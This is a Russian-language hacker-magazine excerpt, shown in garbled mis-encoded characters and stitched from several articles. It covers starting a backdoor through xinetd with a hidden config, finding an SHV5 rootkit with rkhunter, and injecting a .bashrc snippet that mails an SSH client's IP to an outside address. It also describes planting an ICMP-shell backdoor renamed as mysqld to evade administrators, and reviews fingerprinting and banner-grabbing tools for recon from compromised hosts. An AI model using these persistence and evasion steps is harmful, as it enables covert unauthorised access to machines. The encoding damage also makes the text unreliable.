çàïèñüþ îáû÷íîãî ïîëüçîâàòåëÿ. Äëÿ ýòîãî íóæíî íàïèñàòü òî
æå ñàìîå â êàêîé-íèáóäü ôàéë, ñïðÿòàòü åãî ïîäàëüøå, à çà-
òåì ïîä þçåðîì âûïîëíèòü:

$ `which xinetd` -f /path/to/file/backdoor.conf

Ïîñëå ýòîãî áýêäîð áóäåò çàïóùåí. Àðãóìåíò -f óêàçûâàåò, 
êàêîé êîíôèãóðàöèîííûé ôàéë èñïîëüçîâàòü ïðè çàïóñêå.
Ðàçâå ÷òî ñëåäóåò ïîìíèòü � îáû÷íîìó þçåðó ïîðò íèæå 
1024 íå ñâåòèò, äà îí è íå íóæåí.
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[òîòàëüíàÿ ïðîâåðêà] Óæå ÷åðåç ÷àñ ìíå
îêîí÷àòåëüíî íàäîåëî êîâûðÿòüñÿ â ñèñòåìíûõ
ôàéëàõ, âûèñêèâàòü êàêèå-òî ïîäîçðèòåëüíûå
áèíàðíèêè. Õîòÿ â çàïàñå áûëà åùå äþæèíà äî-
ãàäîê, ÿ ïî÷åìó-òî ïðèøåë ê âûâîäó, ÷òî â ñèñ-
òåìå áûë óñòàíîâëåí èìåííî ðóòêèò. Äàæå îáëà-
äàÿ íàâûêàìè ïðîôåññèîíàëüíîãî ñëåäîâàòåëÿ,
íàéòè è âû÷èñëèòü ðóòêèò áóäåò íå î÷åíü ëåãêî :).
Âîò ïî÷åìó íà ñâåò ðîäèëñÿ rootkithunter. ß óæå
êîãäà-òî ÷èòàë ïðî íåãî è çíàë, ÷òî â áîðüáå ñ
÷åðâÿìè, òðîÿíàìè è ïðî÷åé çàðàçîé â UNIX ýòà
óòèëèòà äàåò àäìèíèñòðàòîðó îùóòèìóþ ïî-
ìîùü. Ñ îôèöèàëüíîãî ñàéòà ÿ ïîñïåøèë ñòÿ-
íóòü àðõèâ (http://downloads.rootkit.nl/rkhunter-
1.2.7.tar.gz) è óñòàíîâèòü ïðîãðàììó. Õîðîøî,
÷òî âåñü ïðîöåññ óñòàíîâêè îãðàíè÷èëñÿ çàïóñ-
êîì èíñòàëëÿöèîííîãî ñêðèïòà â ïàïêå ñ
rkhunter'îì. ×òîáû ïîëó÷èòü ïîäðîáíûé îò÷åò
ïî âñåé ñèñòåìå, çàïóñêàåì òàê:

# rkhunter -c --createlogfile
Êèòõàíòåð, íå ìîðãíóâ è ãëàçîì, çà-
ïóñòèëñÿ, âûäàâàÿ ïîäðîáíîå îïèñà-
íèå î òåêóùåì ïðåäìåòå èññëåäîâà-
íèÿ. Ñíà÷àëà îí ïðîâåðèë ÷åêñóììó
íà áèíàðíèêàõ, èçó÷èë ñïèñîê ìîäó-
ëåé è ïåðåøåë ê ïðîâåðêå íà ïðèçíà-
êè îòäåëüíûõ ðóòêèòîâ. Íåîæèäàííî
ïðîãà âûâåëà warning, ìîë, îáíàðóæå-
íî ïðèñóòñòâèå SHV4 è SHV5 è äëÿ áî-
ëåå äåòàëüíîãî èçó÷åíèÿ ìíå ñëåäóåò
îáðàòèòüñÿ ê ëîã-ôàéëó: 

# less /var/log/rkhunter.log
Â ëîã-ôàéëå êëþ÷åâûì ìîìåíòîì
áûëà ñëåäóþùàÿ çàïèñü:

[05:00:52] *** Start scan SHV4 ***
[05:00:52] � File /lib/lidps1.so...
WARNING! Exists.
[05:01:48] *** Start scan SHV5 ***
[05:01:48] � File /etc/sh.conf...
WARNING! Exists.
[05:01:48] � File /dev/srd0... WARN-
ING! Exists.
[05:01:48] � Directory /usr/lib/libsh...
WARNING! Exists.

Èìåííî îíà ðàçîáëà÷àëà êîìïëåêò, êîòîðûì 
õàêåð çàðàçèë ñèñòåìó: ó ìåíÿ òåïåðü åñòü èíôà 
î äîìàøíåé ïàïêå õàêåðà (/usr/lib/libsh) è ëèñòèíã
íåêîòîðûõ ôàéëîâ, ïðèíàäëåæàùèõ ê rootkit�ó. Òå-
ïåðü íàñòàë ìîìåíò äëÿ ðåøèòåëüíûõ äåéñòâèé.
Ñîáûòèÿ ìîãëè ðàçâèâàòüñÿ íåñêîëüêèìè ïóòÿìè.
Íàïðèìåð, ìîæíî áûëî ñîáðàòü íà õàêåðà êîìï-
ðîìàò. Äåëàåòñÿ âñå î÷åíü ïðîñòî, òîëüêî äëÿ ýòî-
ãî íàì íóæíî çíàòü ïîðò, íà êîòîðîì âåñèò ðóòêèò.
Êà÷àåì ñ ñàéòà RST (http://rst.void.ru/download/
portcheck.txt) ñêðèïò PortChecker íà Perl è çàïóñêà-
åì åãî, óêàçûâàÿ íåêîòîðûé äèàïàçîí. Åñëè îòá-
ðîñèòü âñå ñèñòåìíûå ñåðâèñû, òî ïî èäåå íà ìà-
øèíå òîð÷àòü áóäåò òîëüêî ïîðò ðóòêèòà, è ïîýòî-
ìó ïîðò÷åêåð ñ ëåãêîñòüþ åãî îáíàðóæèò (êîíå÷íî,
ìîæíî òî æå ñàìîå ïðîäåëàòü ñ ïîìîùüþ ëîêàëü-
íîãî ñêàíèðîâàíèÿ ïîðòîâ, íî ýòî â íåñêîëüêî ðàç
äîëüøå). Êàêèì îáðàçîì portcheck ìîæåò âèäåòü
äàæå òî, ÷òî íå ïîêàçûâàåò netstat? Âñå î÷åíü
ïðîñòî:  êîãäà òû ïðè çàïóñêå ýòîé óòèëèòû óêàçû-
âàåøü äèàïàçîí, òî âûïîëíÿåòñÿ öèêë, â êîòîðîì ñ
ïîìîùüþ IO::Socket ñîçäàåòñÿ ñîêåò íà êàæäîì èç
ïîðòîâ. Ïîíÿòíîå äåëî, ÷òî åñëè ïîðò óæå çàáèò
êàêèì-òî ïðèëîæåíèåì (âåá-ñåðâåð, ôòï, áýêäîð),
òî ñîêåò ñîçäàòüñÿ íå ìîæåò. Èìåííî ýòî è ñëóæèò
ïîâîäîì ñ÷èòàòü, ÷òî ïîðò óæå îòêðûò è èñïîëüçó-
åòñÿ. ×åøåì ðåïó äàëüøå � ïîðò ìû çíàåì, à çíà-
÷èò, ñàìîå âðåìÿ ïîñòàâèòü êàêîé-íèáóäü êðóòîé
ñíèôåð. Òóò âûáîð ïðîñòî îãðîìåí, îçíàêîìèòüñÿ

ñ íèì ìîæíî ïî àäðåñó http://packetstorm-
security.nl/sniffers. Íàñíèôàííûé òðàôèê
áóäåò äîâîëüíî íåõèëûì ïîäñïîðüåì 
â äåëå ïðîòèâ õàöêåðà :).

[ðàçîáëà÷åíèå õàêåðà] Èòàê, ìàøè-
íà áûëà çàðàæåíà ðóòêèòîì SHV5. 
Äîìàøíèé êàòàëîã õàêåðà íàõîäèëñÿ â
/usr/lib/libsh. Â ïðèíöèïå, íè÷åãî îñîáåí-
íîãî, íî â íåì åñòü îäèí çàìå÷àòåëüíûé
ôàéëèê � .bashrñ. Èìåííî îí ìíå è ïî-
ìîæåò. Â øêîëå íà óðîêàõ èñòîðèè òåáå,
íàâåðíîå, ðàññêàçûâàëè, ÷òî ïðè çàïóñ-
êå èíòåðïðåòàòîðà âñÿ ãàäîñòü, íàïèñàí-
íàÿ â ýòîì ñöåíàðèè, îáðàáàòûâàåòñÿ è
âûïîëíÿåòñÿ. Ïîñêîëüêó ÿ îáëàäàë ðóòî-
âûìè ïðàâàìè, òî ìîã ñâîáîäíî çàïèñû-
âàòü â ýòîò ôàéë âñå, ÷òî õîòåë. Äëÿ íà-
÷àëà ÿ ðåøèë óçíàòü IP-àäðåñ íàãëåöà-
âçëîìùèêà è âûñëàòü ñåáå åãî íà ìûëî:

# cat >>.bashrc
mail="sashiks@fbi.gov"
info=`set |grep SSH_CLIENT`
`echo $info|mail $mail`

Åñëè òû õîðîøî çíàåøü shell-ïðîãðàììèðîâà-
íèå è íå îáäåëåí âîîáðàæàëêîé, òî ìîæåøü
ñäåëàòü äîâîëüíî ìíîãî èíòåðåñíîãî. Òàê âîò, ÿ
âñòàâèë êóñîê êîäà, êîòîðûé ìíå íà ìûëî îòñû-
ëàåò IP-àäðåñ õàêåðà (ìîæíî áóäåò çàáðàòü ëî-
ãè ñ êîìïà è ïîñìåÿòüñÿ íàä õàêñîðîì-ëóçå-
ðîì). Çàòåì ÿ çàäóìàëñÿ, à íå íåëüçÿ ëè ñäå-
ëàòü òàê, ÷òîáû ñðàçó ïîñëå âõîäà â ñèñòåìó íà-
ðóøèòåëÿ äèñêîííåêòèëî. Òî åñòü, ÷òîáû òåðìè-
íàë óáèâàëñÿ ïî äåâÿòîìó ñèãíàëó. Ïîðûâøèñü
â ïàïêàõ ÿ íàøåë øåëë-ñêðèïò, êîòîðûé êîãäà-
òî íàïèñàë:

for pid in `ps |grep bash |awk '{ print $1 }' ` 
do 

echo "$pid"
kill -9 $pid`

done

Âðîäå áû âñå, òåïåðü ìîæíî áûòü ñïîêîéíûì, ÷òî
íàðóøèòåëü íå íàòâîðèò äåë â ñèñòåìå è íå ïîäå-
ôåéñèò ñàéòû, âûäàâ íàøå ïðèñóòñòâèå íà ìàøè-
íå. Ïðàâäà, îñòàëîñü åùå îäíî ñåðüåçíîå íåçà-
êîí÷åííîå äåëî. ß, êàê òû ïîíÿë, ñàìûì íåïàëåâ-
íûì îáðàçîì, áûë çàëîãèíåí ïîä ðóòîì ïî ssh.
Ýòó ñèòóàöèþ íóæíî áûëî â êîðíå èñïðàâëÿòü, è
ÿ ðåøèë òîæå çàáýêäîðèòü òà÷êó, íî óæå íè êàêè-
ìè-òî òàì ðóòêèòàìè, à âåñüìà îðèãèíàëüíûì îá-
ðàçîì � ñ ïîìîùüþ icmp-shell (÷èòàé ïðî ýòó óäè-
âèòåëüíóþ òóëçó âî âðåçêå). Êà÷íóòü ìîæíî ïî
àäðåñó http://peterhost.dl.sourceforge.net/ source-
forge/icmpshell/ish-v0.2.tar.gz. Ðàñïàêîâàâ àðõèâ, ÿ
ñäåëàë make linux è ïîëó÷èë äâà áèíàðíèêà:
ishd(äåìîí) è ish(êëèåíò). Ñåðâàê ÿ çàêèíóë â /bin,
èçìåíèâ ïåðåìåííóþ PATH íà òåêóùèé êàòàëîã è
ïåðåèìåíîâàâ â mysqld, çàïóñòèë ñ äåôîëòíûìè
ïàðàìåòðàìè. Âîîáùå-òî, äåëàòü òàê íåæåëà-
òåëüíî è ëó÷øå âñåãî áûëî áû èñïîëüçîâàòü ýòîò
áýêäîð âìåñòå ñ adore, âåäü òîãäà óâåëè÷èâàþòñÿ
øàíñû áûòü íå îáíàðóæåííûì çëîáíûì àäìèíè-
ñòðàòîðîì ñåòè. ×òîáû áåçáîëåçíåííî ïîëó÷àòü
äîñòóï ê ýòîé ìàøèíå, ÿ ñîáðàë êëèåíò icmp-shel-
l'à ó ñåáÿ íà FreeBSD. Íó, âðîäå áû è âñå � áýê-
äîð ðàáîòàåò êàê íàäî, à çíà÷èò, ÿ ïîëó÷èë â ñâîå
ðàñïîðÿæåíèå îòëè÷íóþ ïëîùàäêó äëÿ äàëüíåé-
øåãî äåñòðóêòèâà :) 

òðîÿíèì ñóïåðñåðâåð

òðîÿíèì ñóïåðñåðâåðâ ëîãîâå âçëîìùèêà

èññëåäóåì òâîðåíèå âØèÂûõ õàêåðîâ �
îòñóòñòâèå ïàëåâà íàëèöî :)
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Îáçîð óòèëèò äëÿ ãðàìîòíîãî remote fingerprint'a

Ïîòðîãàé ííåæíî

1
XXPPRROOBBEE22 
http://xprobe.sourceforge.net

îïèñàíèå Ýòî ìîùíûé è ñèëüíî ïðîäâèíó-
òûé èíñòðóìåíò, ðàçðàáîòàííûé íà îñíîâå
íàó÷íûõ èññëåäîâàíèé Îôèðà Àðêèíà. Àë-
ãîðèòì ðàáîòû ïðîãðàììû íå îñîáåííî
ñëîæíûé, äëÿ íàñ ñàìûì âàæíûì ìîìåíòîì
áóäåò òîò ôàêò, ÷òî ïðîãðàììà èñïîëüçóåò
UDP-ïàêåòû äëÿ ñíÿòèÿ îòïå÷àòêîâ. Ñîîòâå-
òñòâåííî, åñëè îòâåòà íà UDP-çàïðîñ îò
óäàëåííîãî êîìïüþòåðà íå ïîñòóïèò, òî îï-
ðåäåëèòü ÎÑ Xprobe íå ñìîæåò.
Âîîáùå, ïðè çàïóñêå ýòîé òóëçû ìîæíî óêà-
çàòü äîâîëüíî ìíîãî îïöèé, êîòîðûå ñïîñîá-
ñòâóþò ãèáêîé íàñòðîéêå.

èñïîëüçîâàíèå Ñåé÷àñ ÿ ðàññêàæó ïðî
ñàìûå èíòåðåñíûå ôëàãè. Ðåæèì ñêàíèðî-
âàíèÿ TCP-ïîðòîâ óêàçûâàåòñÿ ôëàãîì -T;
òóò íóæíî óêàçàòü èíòåðåñóåìûé äèàïàçîí,
õîòÿ áû òàê: -T20-80,110,3306. Ïðè÷åì â
ýòîì ñëó÷àå xprobe ïîïûòàåòñÿ íàéòè è çà-
ôèëüòðîâàííûå áðàíäìàóýðîì ïîðòû. Àíà-
ëîãè÷íûì îáðàçîì ïðîèçâîäèòñÿ ïðîâåðêà
è UDP-ïîðòîâ, êîòîðàÿ àêòèâèðóåòñÿ ôëà-
ãîì -U. Ïàðàìåòð -v âûäàåò ïîäðîáíóþ èí-
ôîðìàöèþ ïî çàãðóæåííûì ìîäóëÿì ïðîã-
ðàììû (àêòèâèðîâàòü è äåçàêòèâèðîâàòü
ìîäóëè ìîæíî ôëàãàìè -M è -D). Åñòü âîç-
ìîæíîñòü òðàññèðîâêè õîñòà (ôëàãîì -r).
Ïðè æåëàíèè ìîæíî ñîõðàíèòü îò÷åò ïðîã-
ðàììû â ôîðìàòå XML ïàðàìåòðîì -X.

îñîáåííîñòè Îïåðàöèîííóþ ñèñòåìó, èñ-
ïîëüçóåìóþ íà ñåðâåðå, Xprobe îïðåäåëÿåò
äîâîëüíî òî÷íî, à åñëè â ïðîöåññå ïîÿâè-
ëèñü ñïîðíûå ìîìåíòû, òî â îò÷åò âîéäåò
òàêæå ñïèñîê íàèáîëåå âåðîÿòíûõ ÎÑ ñ
ïðîöåíòíûì ñîîòíîøåíèåì âåðîÿòíîñòè.

âûâîäû Ïðîãðàììà ìíå î÷åíü ïîíðàâè-
ëàñü è ïîêàçàëà ñåáÿ ñ ëó÷øåé ñòîðîíû â
ìíîãî÷èñëåííûõ òåñòàõ, ïîýòîìó âîçüìè
Xprobe ñåáå íà çàìåòêó, òàê êàê îíà íå ðàç
ïîäñêàæåò òåáå ïðàâèëüíîå ðåøåíèå.

2
SSIIPPHHOONN
ftp://siphon.sourceforge.net/
pub/siphon/siphon-0.0.3-1.src.rpm

îïèñàíèå Ýòî ïåðâûé ïðåòåíäåíò ñðåäè
ñîôòèí, ðåàëèçóþùèõ ïàññèâíîå èññëåäî-
âàíèå ñòåêà. Ñèôîí ñëóøàåò îïðåäåëåííûé
ñåòåâîé èíòåðôåéñ, àíàëèçèðóåò ïàêåòû è
ñòðîèò ïîäðîáíûå îò÷åòû. Ñàìî ñîáîé, èñ-
ïîëüçîâàòü ýòó ïðîãðàììó äëÿ îïðåäåëåíèÿ
ñèñòåìû êàêîãî-òî öåëåâîãî ñåðâåðà, ñ êî-
òîðûì òû íå íàõîäèøüñÿ â ðàìêàõ îäíîé ñå-
òè, íå ïîëó÷èòñÿ. Ýòà ïðîãðàììà äëÿ äðóãî-
ãî: åå ìîæíî óñòàíîâèòü íà çàõâà÷åííîì
ñåðâåðå è èññëåäîâàòü ñ åå ïîìîùüþ âíóò-
ðåííîñòè êîðïîðàòèâíîé ñåòè. 

èñïîëüçîâàíèå Ïðè çàïóñêå ñëåäóåò çà-
äàòü âñåãî äâà âàæíûõ ïàðàìåòðà:
-i <èíòåðôåéñ> è -o <filename.txt>. Ïåðâûé
ïàðàìåòð ïîçâîëÿåò óêàçàòü ñåòåâîé àäàï-
òåð, èñïîëüçóåìûé äëÿ «îòëîâà» è àíàëèçà
ïàêåòîâ, � çà êîíñóëüòàöèåé ëó÷øå âñåãî
îáðàòèòüñÿ ê ifconfig :). Âòîðîé ïàðàìåòð îï-
ðåäåëÿåò, êóäà áóäóò ñëîæåíû âñå íàéäåí-
íûå àäðåñà è ñîîòâåòñòâóþùèå àäðåñàì
îñè. Äîâîëüíî ÷àñòî, êîãäà siphon íå â ñîñ-
òîÿíèè óçíàòü ÎÑ, îí îñòàâëÿåò íàïðîòèâ IP
äëèíó îêíà ïîéìàííîãî TCP-ïàêåòà. Â ôàé-
ëå osprints.conf â ôîðìàòå «ðàçìåð_îê-
íà:TTL:DF:îïåðàöèîííàÿ_ñèñòåìà» ëåæàò
îêîëî ïîëòèííèêà îñåé:

21D2:128:1:Windows NT / Win9x
4470:128:1:Windows 2000 RC1
2328:255:1:Solaris 2.6 - 2.7

îñîáåííîñòè Åùå ðàç ïîä÷åðêíó, ÷òî
siphon àíàëèçèðóåò ñòåê â ïàññèâíîì ðåæè-
ìå, íå èíèöèàëèçèðóÿ ñîåäèíåíèé. ß íàìå-
êàþ íà òî, ÷òî äëÿ ïîëó÷åíèÿ áîëåå-ìåíåå ÿñ-
íîé êàðòèíû ñåòè è ïîäêëþ÷åííûõ ê íåé ÏÊ (è
íàçâàíèÿìè îñåé, ðàçóìååòñÿ) íåîáõîäèìî
íåêîòîðîå âðåìÿ. Ñêîëüêî èìåííî åãî ïîíà-
äîáèòñÿ, ñêàçàòü òÿæåëî, íî åñëè ïðîãðàììà
óñòàíîâëåíà íà ñåðâåðå â ñåòè è ê íåìó îáðà-
ùàåòñÿ ïðèëè÷íîå ÷èñëî ìàøèí, òî ðåçóëüòàò
ìîæíî ïîëó÷èòü â ïðåäåëàõ ïîëó÷àñà.

âûâîäû Âîîáùå, ìíå ïîíðàâèëàñü ýòà
ïðîãðàììà è ÿ ðåêîìåíäóþ òåáå ïîâîçèòüñÿ
ñ íåé. Â êà÷åñòâå áåçîáèäíîãî ïðèìåíåíèÿ
åå ìîæíî ïîñòàâèòü íà ëþáîé web-ñåðâåð è
ñîáèðàòü ïî÷òè ìàðêåòèíãîâóþ èíôîðìà-
öèþ ïî èñïîëüçóåìûì ïîñåòèòåëÿìè îïåðà-
öèîííûì ñèñòåìàì.
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PP00FF
http://lcamtuf.coredump.cx/p0f.tgz

îïèñàíèå Íàâîðî÷åííûé àíàëèçàòîð òðà-
ôèêà íà ìàíåð ñèôîíà. Ñîôòèíà áûëà ðàç-
ðàáîòàíà Ìèõàèëîì Çàëåâñêèì, è ïî êîëè-
÷åñòâó âîçìîæíîñòåé p0f, íàâåðíîå, ÿâëÿåò-
ñÿ ëèäåðîì ñðåäè óòèëèò ñâîåãî ðîäà. Ïåðå-
÷èñëþ ñàìûå âàæíûå îñîáåííîñòè, à çàîä-
íî è íóæíûå ôëàãè.

èñïîëüçîâàíèå
Ðàáîòà â ðåæèìå äåìîíà (ôëàã -d)
Ïîëíûé äàìï ïîëó÷åííûõ ïàêåòîâ (-õ)
Ïðîñëóøèâàíèå êîíêðåòíîãî ñîêåòà (-Q)
Âîçìîæíîñòü çàïóñòèòü ïðîãðàììó â 
chroot è ñäåëàòü setuid äëÿ ëþáîãî þçåðà (-u)
Ñ÷èòûâàíèå èç ôàéëà îáðàçà, ñíÿòîãî 
ñ ïîìîùüþ óòèëèòû tcpdump, ñ÷èòàåòñÿ 
î÷åíü ïðîäâèíóòîé âîçìîæíîñòüþ (-s)
Ïðîñòàâëåíèå âðåìåííûõ ìåòîê, 
îäíîñòðî÷íûé ðåæèì ëîãèðîâàíèÿ, 
ñîõðàíåíèå ðåçóëüòàòîâ â áàçå MYSQL 
è òàê äàëåå

îñîáåííîñòè Ïîñëå èíñòàëëÿöèè â ñèñòå-
ìó áèíàðíèê ìîæíî çàïóñòèòü áåç ïàðàìåò-
ðîâ, ëèáî ñ îïöèåé -i, êîòîðîé ñëåäóåò ïåðå-
äàòü èìÿ ñåòåâîãî èíòåðôåéñà, íà êîòîðîì
äîëæíî ïðîèñõîäèòü ïðîñëóøèâàíèå.

âûâîäû ß äóìàþ, ÷òî äàëüíåéøèå êîì-
ìåíòàðèè îòíîñèòåëüíî p0f èçëèøíè :).
Ïðîãðàììà îáëàäàåò îãðîìíûì ïîòåíöèà-
ëîì, ôóíêöèîíàëüíîñòüþ è îòëè÷íî ïîêàçà-
ëà ñåáÿ â ìîèõ òåñòàõ.

[èíñòðóìåíòàðèé ñëåäîâàòåëÿ]



Ïî÷òè âñå óïîìÿíóòûå /
â îáçîðå óòèëèòû
ñêðûâàþòñÿ íà ýòèõ
ñàéòàõ:
www.securityfocus.com
www.securitylab.ru
www.web-hack.ru
www.thc.org
www.insecure.org

Ïîëíîå îïèñàíèå òåõíîëîãèè
fingerprint, êîòîðàÿ èñïîëüçó-
åòñÿ â NetMapper'e, íàõîäèòñÿ
ïî àäðåñó
www.insecure.org/nmap/nmap-
fingerprinting-article-ru.html.
Äëÿ òâîèõ ñåòåâûõ ýêñïåðè-
ìåíòîâ ïîä âèíäîé ìîæåò ïðè-
ãîäèòüñÿ Winpcap, êîòîðûé
î÷åíü óäîáíî ñêà÷èâàåòñÿ ñ
www.winpcap.org/install/default.htm
èëè óâåðåííîé ðóêîé 
áåðåòñÿ ñ íàøåãî äèñêà :).

×òîáû íå ëàçèòü ïî âñåìó
èíåòó è íå ñêà÷èâàòü ýòè
âñå ïðîãðàììû, òðàòÿ ñâîé
äðàãîöåííûé òðàôèê, ìû
âûëîæèëè èõ íà äèñêå.

[íåæíûå ïðèêîñíîâåíèÿ]
Ïðî òåõíîëîãèþ ñíÿòèÿ îòïå÷àòêîâ ñåòåâîãî ñòåêà 
â òâîåì ëþáèìîì æóðíàëå óïîìèíàëîñü óæå íåîäíîê-
ðàòíî. Åñëè òû ÷èòàë âíèìàòåëüíî, òî, íàâåðíîå, çíà-
åøü, ÷òî äëÿ îïðåäåëåíèÿ òèïà ÎÑ íà ìàøèíó îòïðàâ-
ëÿþòñÿ ñïåöèàëüíûå IP-ïàêåòû, êîòîðûå íå íåñóò â ñå-
áå îñîáåííîé èíôîðìàöèè, íî êàæäàÿ îïåðàöèîíêà
ðåàãèðóåò íà òàêèå çàïðîñû ïî-ðàçíîìó. Êàêèìè ïàêå-
òàìè è â êàêîì ïîðÿäêå îòâåòèò ñèñòåìà, è îïðåäåëÿåò
åå ïðèíàäëåæíîñòü ê òîìó èëè èíîìó ñåìåéñòâó.
Ñîâîêóïíîñòü òàêèõ îòâåòîâ îáðàçóåò ñèãíàòóðó, êî-
òîðàÿ ïîçâîëÿåò îòëè÷àòü îäíè îïåðàöèîíêè îò äðó-
ãèõ. Íàáîðû ñèãíàòóð ðàçëè÷íûõ ñèñòåì ñîáèðàþò â
åäèíóþ áàçó è èñïîëüçóþò äëÿ OS fingerprinting'à.
Ðàçóìååòñÿ, ÷òî ðàçíîîáðàçíûå óòèëèòû èñïîëüçó-
þò ðàçëè÷íûå ìåòîäèêè äëÿ ñíÿòèÿ îòïå÷àòêîâ.
Âñåãî åñòü äâà âèäà ìåòîäîâ àíàëèçà ñåòåâîãî ñòåêà:
àêòèâíûé è ïàññèâíûé. Ñ àêòèâíûì âñå ïðåäåëüíî
ïðîñòî: îòïðàâèëè íåñêîëüêî ïàêåòîâ, æäåì îòâåòà è
àíàëèçèðóåì åãî ñîäåðæèìîå. Ïðè ïàññèâíîì èññëå-
äîâàíèè ñòåêà âñå îïèñàííûå âûøå äåéñòâèÿ ïðîõîäÿò
áåç îòïðàâêè çàïðîñîâ íà óäàëåííûé õîñò � êîìïüþ-
òåð ïðîñòî    æäåò ïîÿâëåíèÿ ïàêåòà ñ ìàøèíû è àíà-
ëèçèðóåò åãî. Ðàçëè÷èÿ íàëèöî: âìåñòî òîãî ÷òîáû
«ïðîâîöèðîâàòü» óäàëåííûé õîñò îòâåòèòü íà íàøè
äàííûå, ìû ïðîñòî áàíàëüíî âûæèäàåì, ïîêà êîìïüþ-
òåð ÑÀÌ íå ïðîÿâèò ñåòåâóþ àêòèâíîñòü. Ñåãîäíÿ ÿ
ðàññêàæó ïðî òóëçû, êîòîðûå ðåàëèçóþò îáà ìåòîäà
èññëåäîâàíèÿ. Âîò ýòè íåãîäÿè.

ÂÅËÈÊÈÉ ÈÈ ÓÓÆÀÑÍÛÉ
Ìíîãèå ñïðîñÿò ìåíÿ, ïî÷åìó ÿ â ýòîì
îáçîðå íå óïîìÿíóë çíàìåíèòûé ñêà-
íåð Ôåäîðà (Fyodor) Nmap?
Äëÿ ýòîãî åñòü äâå ïðè÷èíû. Íó, âî-ïåð-
âûõ, ïðî ýòîò ïîðòñêàíåð ïèñàëè âåçäå,
ãäå òîëüêî ìîæíî. Âî-âòîðûõ, êàê ìíå
êàæåòñÿ, NetMapper � íå òàêàÿ óæ è
óíèâåðñàëüíàÿ ïðîãðàììà. Òî åñòü îíà
è â ñàìîì äåëå óìååò ìíîãîå: ñêðûòîå
ñêàíèðîâàíèå (-sS), îïðåäåëåíèå îñè (-O)
è òàê äàëåå, îäíàêî íà ïðàêòèêå èñïîëü-
çîâàòü nmap íå âñåãäà óäîáíî è ðåçîí-
íî. Íàïðèìåð, õàêåð ïîëó÷èë ðóòà ÷åðåç
nobody-øåëë, è òåïåðü åìó íåîáõîäèìî
êàê ìîæíî áûñòðåå ïðîñêàíèðîâàòü
ïîäñåòêó íà íàëè÷èå äðóãèõ ìàøèí è
áàæíûõ ñåðâèñîâ.
Ðàçâå â ýòîì ñëó÷àå êîìó-òî ïðèäåò
â ãîëîâó òÿíóòü ãðîìîçäêèé äèñòð,
óñòàíàâëèâàòü åãî â ñèñòåìó, óäîâ-
ëåòâîðÿÿ âñå çàâèñèìîñòè, è æäàòü,
ïîêà îí äîñêàíèò âñþ ïîäñåòü? Òî æå
ñàìîå ìîæíî ñäåëàòü íåáîëüøèì íà-
áîðîì óòèëèò. Êîðî÷å ãîâîðÿ, îí íå
âî âñåõ ñèòóàöèÿõ àêòóàëåí. Òåì íå
ìåíåå, êàê èíñòðóìåíò äëÿ àóäèòà 
ñåòåâîé áåçîïàñíîñòè, nmap åùå 
äîâîëüíî äîëãî áóäåò íàõîäèòüñÿ 
íà ëèäèðóþùèõ ïîçèöèÿõ. [X
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AAMMAAPP
www.thc.org/download.php?t=r&f=
amap-5.2.tar.gzhttp://xprobe.sourceforge.net

îïèñàíèå Ýòî î÷åíü óäîáíàÿ è ïðîôåññèî-
íàëüíî ñäåëàííàÿ òóëçà îò íåìåöêèõ õàêåðîâ
THC. Óìååò î÷åíü ìíîãîå, êðîìå îáû÷íîãî
ñíÿòèÿ áàííåðîâ ñ ìàøèíû.

èñïîëüçîâàíèå Çàïóñêàåòñÿ amap òàê:

$ amap [modes] [ options] host ports

Ïîðòû äîëæíû áûòü óêàçàíû ÷åðåç ïðîáåë.
À î ðåæèìàõ è îïöèÿõ ìû ñåé÷àñ ïîãîâîðèì.
Âîò ñàìûå âêóñíûå îïöèè è ïàðàìåòðû:

-AA � âêëþ÷àåò ðåæèì, â êîòîðîì  
îïðåäåëÿåòñÿ ñåðâèñ, ðàáîòàþùèé 
íà äàííîì ïîðòó 
(áàííåðû íå ñíèìàþòñÿ)

-BB � ïðîñòî ñíÿòü áàííåðû 
è âûâåñòè èõ íà ýêðàí

-PP � amap ñòàíîâèòñÿ îáû÷íûì 
ïîðòñêàíåðîì, îïðåäåëÿþùèì 
ñîñòîÿíèå ñëóæáû 
(áàííåðû è ñåðâèñû íå îïðåäåëÿþòñÿ)

-ii � ñ÷èòûâàòü äàííûå î ìàøèíå èç îò÷åòà,
ñîñòàâëåííîãî nmap'îì (äëÿ ýòîãî, 
ñîîòâåòñòâåííî, ìàøèíó íóæíî 
ïðåäâàðèòåëüíî ïðîñêàíèðîâàòü nmap'îì)

-dd � ñáðàñûâàòü äàìï âñåõ çàïðîñîâ â ôàéë

Òàêæå amap óìååò ðàáîòàòü ñ àäðåñàìè
IPV6 (ôëàã -6), ïîñûëàòü çàïðîñû íà êîíê-
ðåòíûé ïðîòîêîë (-p), ïðîèçâîäèòü ïðîâåðêó
UDP ïîðòîâ (-u) è òàê äàëåå.

îñîáåííîñòè Ãîâîðÿ îòêðîâåííî, íå òàêàÿ
óæ ýòà ïðîãðàììà è óíèâåðñàëüíàÿ, êàê êà-
æåòñÿ íà ïåðâûé âçãëÿä. Âåäü ïåðåä èñ-
ïîëüçîâàíèåì íóæíî çíàòü, êàêèå ïîðòû
îòêðûòû, à êàêèå � íåò. Õîòÿ, ñ äðóãîé ñòî-
ðîíû, åñëè òåáÿ èíòåðåñóþò ëèøü îòäåëü-
íûå ñåðâèñû, òî ñìåëî çàïèñûâàé åå â ñâîé
àðñåíàë. Íàïðèìåð, çà÷åì òåáå íóæåí áàí-
íåð ôòï, åñëè ó òåáÿ â êàðìàíå ñïëîèò íà
MySQL (3306 ïîðò)? Âîò è ÿ î òîì æå :).

âûâîäû Ýòî ïåðñïåêòèâíàÿ è àêòóàëüíàÿ
ñîôòèíà, êîòîðîé ïîëüçóåòñÿ ìíîãî ëþäåé.
Ïî÷åìó áû òåáå íå ïðèñîåäèíèòüñÿ ê èõ òàé-
íîìó îáùåñòâó? :)
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GGRRAABBBBBB
www.securityfocus.com/data/tools/
grabbb-0.0.7.tar.gz

îïèñàíèå Ýòî ïîèñòèíå óðàãàííûé ãðàá-
áåð áàíåðîâ, êîòîðûé íàïèñàëè êðóòûå ïàð-
íè èç TESO è êîòîðûé î÷åíü óäîáíî èñïîëü-
çîâàòü äëÿ ñêàíèðîâàíèÿ áîëüøèõ ïîäñåòåé.

èñïîëüçîâàíèå
Îïöèé ó ýòîé òóëçû íå òàê óæ è ìíîãî:

-xx � êîëè÷åñòâî ïîäêëþ÷åíèé 
(ïî óìîë÷àíèþ 250)

-aa � íà÷àëüíûé àäðåñ 
äëÿ ñêàíèðîâàíèÿ (âèäà a.b.c.d)

-bb � êîíå÷íûé àäðåñ ñêàíèðîâàíèÿ
